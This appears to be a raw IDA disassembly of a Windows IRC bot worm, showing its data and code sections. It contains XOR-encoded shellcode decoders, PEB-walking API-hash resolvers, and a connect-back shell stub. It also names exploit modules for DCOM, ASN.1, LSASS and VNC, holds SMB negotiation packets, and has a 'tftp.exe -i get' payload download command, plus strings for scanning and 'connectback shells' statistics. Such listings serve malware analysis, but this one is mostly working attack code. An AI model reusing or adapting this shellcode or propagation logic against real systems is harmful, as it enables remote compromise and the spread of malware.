aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset byte_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
